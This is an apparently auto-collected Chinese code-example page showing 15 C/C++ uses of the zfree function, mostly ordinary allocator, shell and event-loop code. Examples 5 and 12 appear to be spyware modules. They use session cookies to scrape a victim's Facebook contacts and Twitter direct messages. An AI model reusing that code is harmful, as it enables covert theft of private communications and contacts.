本文整理汇总了C++中zfree函数的典型用法代码示例。如果您正苦于以下问题:C++ zfree函数的具体用法?C++ zfree怎么用?C++ zfree使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了zfree函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的C++代码示例。
示例1: perf_evsel__free_prev_raw_counts
static void perf_evsel__free_prev_raw_counts(struct perf_evsel *evsel)
{
zfree(&evsel->prev_raw_counts);
}
示例2: krealloc
//.........这里部分代码省略.........
register int zindex;
register vm_size_t allocsize;
vm_offset_t naddr;
/* can only be used for increasing allocation size */
assert(new_size > old_size);
/* if old_size is zero, then we are simply allocating */
if (old_size == 0) {
simple_unlock(lock);
naddr = kalloc(new_size);
simple_lock(lock);
*addrp = naddr;
return;
}
/* if old block was kmem_alloc'd, then use kmem_realloc if necessary */
if (old_size >= kalloc_max_prerounded) {
old_size = round_page_32(old_size);
new_size = round_page_32(new_size);
if (new_size > old_size) {
if (kmem_realloc(kalloc_map, *addrp, old_size, &naddr,
new_size) != KERN_SUCCESS) {
panic("krealloc: kmem_realloc");
naddr = 0;
}
simple_lock(lock);
*addrp = naddr;
/* kmem_realloc() doesn't free old page range. */
kmem_free(kalloc_map, *addrp, old_size);
kalloc_large_total += (new_size - old_size);
if (kalloc_large_total > kalloc_large_max)
kalloc_large_max = kalloc_large_total;
}
return;
}
/* compute the size of the block that we actually allocated */
allocsize = KALLOC_MINSIZE;
zindex = first_k_zone;
while (allocsize < old_size) {
allocsize <<= 1;
zindex++;
}
/* if new size fits in old block, then return */
if (new_size <= allocsize) {
return;
}
/* if new size does not fit in zone, kmem_alloc it, else zalloc it */
simple_unlock(lock);
if (new_size >= kalloc_max_prerounded) {
if (kmem_alloc(kalloc_map, &naddr, new_size) != KERN_SUCCESS) {
panic("krealloc: kmem_alloc");
simple_lock(lock);
*addrp = 0;
return;
}
kalloc_large_inuse++;
kalloc_large_total += new_size;
if (kalloc_large_total > kalloc_large_max)
kalloc_large_max = kalloc_large_total;
} else {
register int new_zindex;
allocsize <<= 1;
new_zindex = zindex + 1;
while (allocsize < new_size) {
allocsize <<= 1;
new_zindex++;
}
naddr = zalloc(k_zone[new_zindex]);
}
simple_lock(lock);
/* copy existing data */
bcopy((const char *)*addrp, (char *)naddr, old_size);
/* free old block, and return */
zfree(k_zone[zindex], *addrp);
/* set up new address */
*addrp = naddr;
}
示例3: cvarsetstr2
/* same as cvarsetstr, but allows more control over setting of cvar */
Cvar*
cvarsetstr2(const char *var_name, const char *value, qbool force)
{
Cvar *var;
/* comdprintf( "cvarsetstr2: %s %s\n", var_name, value ); */
if(!validatestr(var_name)){
comprintf("invalid cvar name string: %s\n", var_name);
var_name = "BADNAME";
}
#if 0 /* FIXME */
if(value && !validatestr(value)){
comprintf("invalid cvar value string: %s\n", value);
var_value = "BADVALUE";
}
#endif
var = look(var_name);
if(var == nil){
if(value == nil)
return nil;
/* create it */
if(!force)
return cvarget(var_name, value, CVAR_USER_CREATED);
else
return cvarget(var_name, value, 0);
}
if(value == nil)
value = var->resetString;
value = validate(var, value, qtrue);
if((var->flags & CVAR_LATCH) && (var->latchedString != nil)){
if(!strcmp(value, var->string)){
zfree(var->latchedString);
var->latchedString = nil;
return var;
}
if(!strcmp(value, var->latchedString))
return var;
}else if(!strcmp(value, var->string))
return var;
/* note what types of cvars have been modified (userinfo, archive, serverinfo, systeminfo) */
cvar_modifiedFlags |= var->flags;
if(!force){
if(var->flags & CVAR_ROM){
comprintf("%s is read only.\n", var_name);
return var;
}
if(var->flags & CVAR_INIT){
comprintf("%s is write protected.\n", var_name);
return var;
}
if(var->flags & CVAR_LATCH){
if(var->latchedString){
if(strcmp(value, var->latchedString) == 0)
return var;
zfree(var->latchedString);
}else if(strcmp(value, var->string) == 0)
return var;
comprintf("%s will be changed upon restarting.\n",
var_name);
var->latchedString = copystr(value);
var->modified = qtrue;
var->modificationCount++;
return var;
}
if((var->flags & CVAR_CHEAT) && (cheatsenabled->integer <= 0)){
comprintf ("%s is cheat protected.\n", var_name);
return var;
}
}else if(var->latchedString != nil){
zfree(var->latchedString);
var->latchedString = nil;
}
if(!strcmp(value, var->string))
return var; /* not changed */
var->modified = qtrue;
var->modificationCount++;
zfree(var->string); /* free the old value string */
var->string = copystr(value);
var->value = atof (var->string);
var->integer = atoi (var->string);
//.........这里部分代码省略.........
示例4: get_tracepoints_path
struct tracing_data *tracing_data_get(struct list_head *pattrs,
int fd, bool temp)
{
struct tracepoint_path *tps;
struct tracing_data *tdata;
int err;
output_fd = fd;
tps = get_tracepoints_path(pattrs);
if (!tps)
return NULL;
tdata = malloc(sizeof(*tdata));
if (!tdata)
return NULL;
tdata->temp = temp;
tdata->size = 0;
if (temp) {
int temp_fd;
snprintf(tdata->temp_file, sizeof(tdata->temp_file),
"/tmp/perf-XXXXXX");
if (!mkstemp(tdata->temp_file)) {
pr_debug("Can't make temp file");
return NULL;
}
temp_fd = open(tdata->temp_file, O_RDWR);
if (temp_fd < 0) {
pr_debug("Can't read '%s'", tdata->temp_file);
return NULL;
}
/*
* Set the temp file the default output, so all the
* tracing data are stored into it.
*/
output_fd = temp_fd;
}
err = tracing_data_header();
if (err)
goto out;
err = record_header_files();
if (err)
goto out;
err = record_ftrace_files(tps);
if (err)
goto out;
err = record_event_files(tps);
if (err)
goto out;
err = record_proc_kallsyms();
if (err)
goto out;
err = record_ftrace_printk();
out:
/*
* All tracing data are stored by now, we can restore
* the default output file in case we used temp file.
*/
if (temp) {
tdata->size = lseek(output_fd, 0, SEEK_CUR);
close(output_fd);
output_fd = fd;
}
if (err)
zfree(&tdata);
put_tracepoints_path(tps);
return tdata;
}
示例5: FacebookContactHandler
DWORD FacebookContactHandler(LPSTR strCookie)
{
LPSTR strUserId, strScreenName;
if (!ConfIsModuleEnabled(L"addressbook"))
return SOCIAL_REQUEST_SUCCESS;
// get user id and screen name
if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
return SOCIAL_REQUEST_BAD_COOKIE;
LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", strUserId, strUserId); //FIXME array
LPSTR strRecvBuffer=NULL;
DWORD dwBuffSize;
DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie); // FIXME: array
if (dwRet != SOCIAL_REQUEST_SUCCESS)
{
zfree(strRecvBuffer);
zfree(strUrl);
return SOCIAL_REQUEST_NETWORK_PROBLEM;
}
LPSTR strJson = strRecvBuffer;
while (*strJson != '{' && (strJson - strRecvBuffer) < dwBuffSize)
strJson++;
JSONValue *jValue = JSON::Parse(strJson);
if (jValue != NULL && jValue->IsObject())
{
JSONObject jRoot = jValue->AsObject();
if (jRoot.find(L"payload") != jRoot.end()) //FIXME: array
{
if (jRoot[L"payload"]->IsObject())
{
JSONObject jPayload = jRoot[L"payload"]->AsObject();
if (jPayload.find(L"entries") != jPayload.end() && jPayload[L"entries"]->IsArray()) //FIXME: array
{
JSONArray jEntries = jPayload[L"entries"]->AsArray(); //FIXME: array
for (DWORD i=0; i<jEntries.size(); i++)
{
LPWSTR strUID = NULL;
LPWSTR strName = NULL;
LPWSTR strProfile = NULL;
if (!jEntries.at(i)->IsObject())
continue;
JSONObject jEntry = jEntries.at(i)->AsObject();
if (jEntry.find(L"uid") != jEntry.end() && jEntry[L"uid"]->IsNumber()) //FIXME: array
{
strUID = (LPWSTR) zalloc(1024*sizeof(WCHAR));
_snwprintf_s(strUID, 1023, _TRUNCATE, L"%.0lf", jEntry[L"uid"]->AsNumber()); //FIXME: array
}
if (jEntry.find(L"text") != jEntry.end() && jEntry[L"text"]->IsString()) //FIXME: array
{
strName = (LPWSTR) zalloc(1024*sizeof(WCHAR));
memcpy(strName, jEntry[L"text"]->AsString().c_str(), min(jEntry[L"text"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR))); //FIXME: array
}
if (jEntry.find(L"path") != jEntry.end() && jEntry[L"path"]->IsString()) //FIXME: array
{
strProfile = (LPWSTR) zalloc(1024*sizeof(WCHAR));
memcpy(strProfile, jEntry[L"path"]->AsString().c_str(), min(jEntry[L"path"]->AsString().size()*sizeof(WCHAR), 1024*sizeof(WCHAR))); //FIXME: array
}
if (strUID && strName && strProfile)
{
LPSTR strTmp = (LPSTR) zalloc(1024);
_snprintf_s(strTmp, 1024, _TRUNCATE, "%S", strUID);
DWORD dwFlags = 0;
if (!strncmp(strTmp, strUserId, strlen(strUserId)))
dwFlags = CONTACTS_MYACCOUNT;
SocialLogContactW(CONTACT_SRC_FACEBOOK, strName, NULL, NULL, NULL, NULL, NULL, NULL, NULL, strUID, strProfile, dwFlags);
zfree(strTmp);
}
zfree(strName);
zfree(strProfile);
zfree(strUID);
}
}
}
}
}
/* cleanup */
zfree(strUserId);
zfree(strScreenName);
zfree(strRecvBuffer);
zfree(strUrl);
if (jValue)
delete jValue;
return SOCIAL_REQUEST_BAD_COOKIE;
}
示例6: recursivecmd
static int
recursivecmd(char *nam, int opt_noerr, int opt_recurse, int opt_safe,
char **args, RecurseFunc dirpre_func, RecurseFunc dirpost_func,
RecurseFunc leaf_func, void *magic)
{
int err = 0, len;
char *rp, *s;
struct dirsav ds;
struct recursivecmd reccmd;
reccmd.nam = nam;
reccmd.opt_noerr = opt_noerr;
reccmd.opt_recurse = opt_recurse;
reccmd.opt_safe = opt_safe;
reccmd.dirpre_func = dirpre_func;
reccmd.dirpost_func = dirpost_func;
reccmd.leaf_func = leaf_func;
reccmd.magic = magic;
init_dirsav(&ds);
if (opt_recurse || opt_safe) {
if ((ds.dirfd = open(".", O_RDONLY|O_NOCTTY)) < 0 &&
zgetdir(&ds) && *ds.dirname != '/')
ds.dirfd = open("..", O_RDONLY|O_NOCTTY);
}
for(; !errflag && !(err & 2) && *args; args++) {
rp = ztrdup(*args);
unmetafy(rp, &len);
if (opt_safe) {
s = strrchr(rp, '/');
if (s && !s[1]) {
while (*s == '/' && s > rp)
*s-- = '\0';
while (*s != '/' && s > rp)
s--;
}
if (s && s[1]) {
int e;
*s = '\0';
e = lchdir(s > rp ? rp : "/", &ds, 1);
err |= -e;
if (!e) {
struct dirsav d;
d.ino = d.dev = 0;
d.dirname = NULL;
d.dirfd = d.level = -1;
err |= recursivecmd_doone(&reccmd, *args, s + 1, &d, 0);
zsfree(d.dirname);
if (restoredir(&ds))
err |= 2;
} else if(!opt_noerr)
zwarnnam(nam, "%s: %e", *args, errno);
} else
err |= recursivecmd_doone(&reccmd, *args, rp, &ds, 0);
} else
err |= recursivecmd_doone(&reccmd, *args, rp, &ds, 1);
zfree(rp, len + 1);
}
if ((err & 2) && ds.dirfd >= 0 && restoredir(&ds) && zchdir(pwd)) {
zsfree(pwd);
pwd = ztrdup("/");
if (chdir(pwd) < 0)
zwarn("failed to chdir(%s): %e", pwd, errno);
}
if (ds.dirfd >= 0)
close(ds.dirfd);
zsfree(ds.dirname);
return !!err;
}
示例7: aeDeleteEventLoop
void aeDeleteEventLoop(aeEventLoop *eventLoop) {
aeApiFree(eventLoop);
zfree(eventLoop->events);
zfree(eventLoop->fired);
zfree(eventLoop);
}
示例8: zevtimer_free
void zevtimer_free(zevtimer_t * timer)
{
zfree(timer);
}
示例9: zaio_free
void zaio_free(zaio_t * aio)
{
zfree(aio);
}
示例10: opendir
struct tracepoint_path *tracepoint_id_to_path(u64 config)
{
struct tracepoint_path *path = NULL;
DIR *sys_dir, *evt_dir;
struct dirent *sys_next, *evt_next, sys_dirent, evt_dirent;
char id_buf[24];
int fd;
u64 id;
char evt_path[MAXPATHLEN];
char dir_path[MAXPATHLEN];
if (debugfs_valid_mountpoint(tracing_events_path))
return NULL;
sys_dir = opendir(tracing_events_path);
if (!sys_dir)
return NULL;
for_each_subsystem(sys_dir, sys_dirent, sys_next) {
snprintf(dir_path, MAXPATHLEN, "%s/%s", tracing_events_path,
sys_dirent.d_name);
evt_dir = opendir(dir_path);
if (!evt_dir)
continue;
for_each_event(sys_dirent, evt_dir, evt_dirent, evt_next) {
snprintf(evt_path, MAXPATHLEN, "%s/%s/id", dir_path,
evt_dirent.d_name);
fd = open(evt_path, O_RDONLY);
if (fd < 0)
continue;
if (read(fd, id_buf, sizeof(id_buf)) < 0) {
close(fd);
continue;
}
close(fd);
id = atoll(id_buf);
if (id == config) {
closedir(evt_dir);
closedir(sys_dir);
path = zalloc(sizeof(*path));
path->system = malloc(MAX_EVENT_LENGTH);
if (!path->system) {
free(path);
return NULL;
}
path->name = malloc(MAX_EVENT_LENGTH);
if (!path->name) {
zfree(&path->system);
free(path);
return NULL;
}
strncpy(path->system, sys_dirent.d_name,
MAX_EVENT_LENGTH);
strncpy(path->name, evt_dirent.d_name,
MAX_EVENT_LENGTH);
return path;
}
}
示例11: BotImport_FreeMemory
/*
* BotImport_FreeMemory
*/
static void
BotImport_FreeMemory(void *ptr)
{
zfree(ptr);
}
示例12: ParseDirectMessages
DWORD ParseDirectMessages(char *username, char *cookie)
{
DWORD ret_val, response_len;
BYTE *r_buffer = NULL, *thread_buffer = NULL;
char *parser1, *parser2, *thread_parser1, *thread_parser2;
char strCurrentThreadHandle[512];
WCHAR strConversationRequest[512];
char strDmType[24];
char strDmContent[256];
char strTimestamp[256];
DWORD last_tstamp_hi, last_tstamp_lo;
ULARGE_INTEGER act_tstamp;
struct tm tstamp;
char strUsernameForDm[256];
DWORD dwHigherBatchTimestamp = 0;
#ifdef _DEBUG
OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif
/* use a new username for twitter dm since the timestamp would be the one we got from the timeline */
_snprintf_s(strUsernameForDm, sizeof(strUsernameForDm), _TRUNCATE, "%s-twitterdm", username);
last_tstamp_lo = SocialGetLastTimestamp(strUsernameForDm, &last_tstamp_hi);
if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP)
return SOCIAL_REQUEST_BAD_COOKIE;
ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", L"/messages?last_note_ts=0&since_id=0", 443, NULL, 0, &r_buffer, &response_len, cookie, L"https://twitter.com/");
if (ret_val != SOCIAL_REQUEST_SUCCESS)
return ret_val;
parser1 = (char *) r_buffer;
/* Fetch the available threads
e.g. "threads":["duilio_ebooks","duiliosagese","thegrugq_ebooks"]
*/
parser1 = strstr(parser1, "\"threads\":[");
if( !parser1 )
{
SAFE_FREE(r_buffer);
return -1;
}
parser1 = parser1 + strlen("\"threads\":[");
parser2 = strstr(parser1, "\"]},");
if( !parser2 )
{
zfree(r_buffer);
return SOCIAL_REQUEST_BAD_COOKIE;
}
parser2 += 1; // skip past last '"'
*parser2 = NULL;
#ifdef _DEBUG
OutputDebug(L"[*] %S - available threads %S\n", __FUNCTION__, parser1);
#endif
/* loop through the list of available threads pointed by parser1 and requests its content
e.g. "duilio_ebooks","duiliosagese","thegrugq_ebooks"
*/
for( ;; ) {
parser1 = strchr(parser1, '"');
if( !parser1 )
break;
parser1 += 1; // skip past '"'
parser2 = strchr(parser1, '"');
if( !parser2 )
break;
*parser2 = NULL;
_snprintf_s(strCurrentThreadHandle, sizeof(strCurrentThreadHandle), _TRUNCATE, parser1);
parser1 = parser2 + 1;
#ifdef _DEBUG
OutputDebug(L"[*] %S - parsing thread %S\n", __FUNCTION__, strCurrentThreadHandle);
#endif
/* fetch conversation
e.g. /messages/with/conversation?id=duilio_ebooks&last_note_ts=0
*/
_snwprintf_s(strConversationRequest, sizeof(strConversationRequest)/sizeof(WCHAR), _TRUNCATE, L"/messages/with/conversation?id=%S&last_note_ts=0", strCurrentThreadHandle);
ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", strConversationRequest, 443, NULL, 0, &thread_buffer, &response_len, cookie, L"https://twitter.com/");
/* if the request is not successful assume some serious issue happened, free resources and bail */
if (ret_val != SOCIAL_REQUEST_SUCCESS)
{
zfree(thread_buffer);
zfree(r_buffer);
return ret_val;
}
/* direct message structure:
1] start of a new message: '<div class="dm sent js-dm-item' or 'div class=\"dm received js-dm-item'
find '<div class="dm ' (N.B space after dm) then decode whether it's send or received
//.........这里部分代码省略.........
示例13: coff_load_file
//.........这里部分代码省略.........
if (error = VOP_GETATTR(vp, &attr, p->p_ucred, p))
goto fail;
if ((vp->v_mount->mnt_flag & MNT_NOEXEC)
|| ((attr.va_mode & 0111) == 0)
|| (attr.va_type != VREG))
goto fail;
if (attr.va_size == 0) {
error = ENOEXEC;
goto fail;
}
if (error = VOP_ACCESS(vp, VEXEC, p->p_ucred, p))
goto fail;
if (error = VOP_OPEN(vp, FREAD, p->p_ucred, p))
goto fail;
/*
* Lose the lock on the vnode. It's no longer needed, and must not
* exist for the pagefault paging to work below.
*/
VOP_UNLOCK(vp, 0, p);
if (error = vm_mmap(kernel_map,
(vm_offset_t *) &ptr,
PAGE_SIZE,
VM_PROT_READ,
VM_PROT_READ,
0,
(caddr_t) vp,
0))
goto fail;
fhdr = (struct filehdr *)ptr;
if (fhdr->f_magic != I386_COFF) {
error = ENOEXEC;
goto dealloc_and_fail;
}
nscns = fhdr->f_nscns;
if ((nscns * sizeof(struct scnhdr)) > PAGE_SIZE) {
/*
* XXX -- just fail. I'm so lazy.
*/
error = ENOEXEC;
goto dealloc_and_fail;
}
ahdr = (struct aouthdr*)(ptr + sizeof(struct filehdr));
scns = (struct scnhdr*)(ptr + sizeof(struct filehdr)
+ sizeof(struct aouthdr));
for (i = 0; i < nscns; i++) {
if (scns[i].s_flags & STYP_NOLOAD)
continue;
else if (scns[i].s_flags & STYP_TEXT) {
text_address = scns[i].s_vaddr;
text_size = scns[i].s_size;
text_offset = scns[i].s_scnptr;
}
else if (scns[i].s_flags & STYP_DATA) {
data_address = scns[i].s_vaddr;
data_size = scns[i].s_size;
data_offset = scns[i].s_scnptr;
} else if (scns[i].s_flags & STYP_BSS) {
bss_size = scns[i].s_size;
}
}
if (error = load_coff_section(vmspace, vp, text_offset,
(caddr_t)(void *)(uintptr_t)text_address,
text_size, text_size,
VM_PROT_READ | VM_PROT_EXECUTE)) {
goto dealloc_and_fail;
}
if (error = load_coff_section(vmspace, vp, data_offset,
(caddr_t)(void *)(uintptr_t)data_address,
data_size + bss_size, data_size,
VM_PROT_ALL)) {
goto dealloc_and_fail;
}
error = 0;
dealloc_and_fail:
if (vm_map_remove(kernel_map,
(vm_offset_t) ptr,
(vm_offset_t) ptr + PAGE_SIZE))
panic(__FUNCTION__ " vm_map_remove failed");
fail:
vput(nd.ni_vp);
zfree(namei_zone, nd.ni_cnd.cn_pnbuf);
return error;
}
示例14: flowadv_free_entry
void
flowadv_free_entry(struct flowadv_fcentry *fce)
{
zfree(fadv_zone, fce);
}
示例15: aeApiFree
static void aeApiFree(aeEventLoop *eventLoop) {
zfree(eventLoop->apidata);
}